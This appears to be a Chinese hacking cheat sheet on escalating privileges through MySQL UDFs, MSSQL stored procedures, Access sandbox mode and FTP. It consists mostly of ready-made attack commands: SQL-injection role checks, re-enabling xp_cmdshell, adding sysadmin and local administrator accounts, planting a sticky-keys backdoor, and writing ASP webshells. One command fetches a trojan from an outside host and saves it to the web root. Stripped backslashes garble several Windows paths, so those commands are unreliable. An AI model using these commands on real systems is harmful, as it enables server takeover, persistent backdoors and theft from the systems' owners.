牛逼版本
http://blog.csdn.net/eldn__/article/details/8452242
常见版本
http://www.jb51.net/hack/21297.html
http://hi.baidu.com/happy8d/item/6839edc2ba343953ac00efcc
http://www.webshell.cc/tag/tiquan
http://sec.chinabyte.com/486/11584486.shtml
MySQL
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。
所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。
Pre MySQL 4.1
在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。
After MySQL 4.1
在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL.
After MYSQL 5.0
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。
MYSQL 5.1
再说MYSQL5.1,这里有个问题相信大家会经常遇到的。创建函数时所用的DLL只能放在mysql的plugin目录里面。而且这个plugin目录默认是不存在的。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。编写UDF需要实现MySQL特定的接口函数。
UDF手册
http://dev.mysql.com/doc/refman/5.1/de/udf-calling.html
MSSQL
判断权限
and 1=(select IS_SRVROLEMEMBER('sysadmin')) and 1=(select is_srvrolemember('sysadmin')) and 1=(select is_srvrolemember('serveradmin')) and 1=(select is_srvrolemember('setupadmin')) and 1=(select is_srvrolemember('securityadmin')) and 1=(select is_srvrolemember('diskadmin')) and 1=(select is_srvrolemember('bulkadmin')) and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限 and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限
开启与关闭
2000的话可以使用dropextentedpooc来删除过程,不过2008和2005已经不能够使用了exec master..sp_dropextendedproc xp_cmdshell
dbcc addextendedproc ("sp_oacreate","odsole70.dll") exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
'xp_cmdshell' 'xplog70.dll' 'xp_dirtree' 'xpstar.dll' 'xp_enumgroups' 'xplog70.dll' 'xp_fixeddrives' 'xpstar.dll' 'xp_loginconfig' 'xplog70.dll' 'xp_regaddmultistring' 'xpstar.dll' 'xp_regdeletekey' 'xpstar.dll' 'xp_regdeletevalue' 'xpstar.dll' 'xp_regread' 'xpstar.dll' 'xp_regremovemultistring' 'xpstar.dll' 'xp_regwrite' 'xpstar.dll' 'xp_enumerrorlogs' 'xpstar.dll' 'xp_getfiledetails' 'xpstar.dll' 'xp_regenumvalues' 'xpstar.dll'
-- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1; GO -- To update the currently configured value for advanced options. RECONFIGURE; GO -- To enable the feature. EXEC sp_configure 'xp_cmdshell', 0; GO -- To update the currently configured value for this feature. RECONFIGURE; GO
XP_前缀存储过程
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
XP_CMDSHELL
exec master..xp_cmdshell "whoami"
XP_DIRTREE
这个函数有三个参数,查询目录(可省略),递归深度 ,是否显示文件。
利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦
exec master.dbo.xp_dirtree 'c:',1,1
XP_REGREAD
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'
XP_REGWRITE
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWAREMicrosoftJet4.0Engines''SandBoxMode''REG_DWORD'1
XP_SERVICECONTROL
exec master..xp_servicecontrol 'stop' ,'schedule' exec master..xp_servicecontrol 'start','schedule'
SP_前缀存储过程
sp_addlogin
exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addsrvrolemember test,sysadmin
sp_oacreate
wscript.shell
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c: est.tmp' scripting.filesystemobject
scripting.filesystemobject
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe'; declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';
Shell.Application
declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c sc start TermService
Microsoft.XMLHTTP
可以实现从网上下载文件
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT EXEC sp_oacreate [Microsoft.XMLHTTP],@http output EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down output EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:www_iismuma.asp],1
sp_add_job
use msdb exec sp_delete_job null,'x' exec sp_add_job 'x' exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "whoami > c:/q.txt"' exec sp_add_jobserver null,'x',@@servername exec sp_start_job 'x';
sp_webmaketest
exec sp_makewebtask 'd:wwwxxxxxx.asp',' select ''<%execute(request("cn"))%>'' '
ACCESS沙盒模式执行命令
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1之后就可以执行命令了
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')这里执行命令用的数据库是系统两个自带数据库,通常存放在
C:WINDOWSsystem32iasdnary.mdb C:WINDOWSsystem32iasias.mdb如果数据库不存在的话,可以上传一个,或者使用这样的语句创建一个
declare @hr int; declare @object int; declare @property int exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'之后执行命令的话,这样执行即可
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("whoami")’)
ORCALE
ftp> quote site exec net.exe user 550 /net.exe: Permission denied.打开之后如果出现
ftp> quote site exec net.exe user 550 /net.exe: No such file.把目录改变一下即可
ftp> cd windows/system32 250 Directory changed to /WINDOWS/system32 ftp> quote site exec net.exe user 200 EXEC command successful (TID=42).
CAIN 嗅探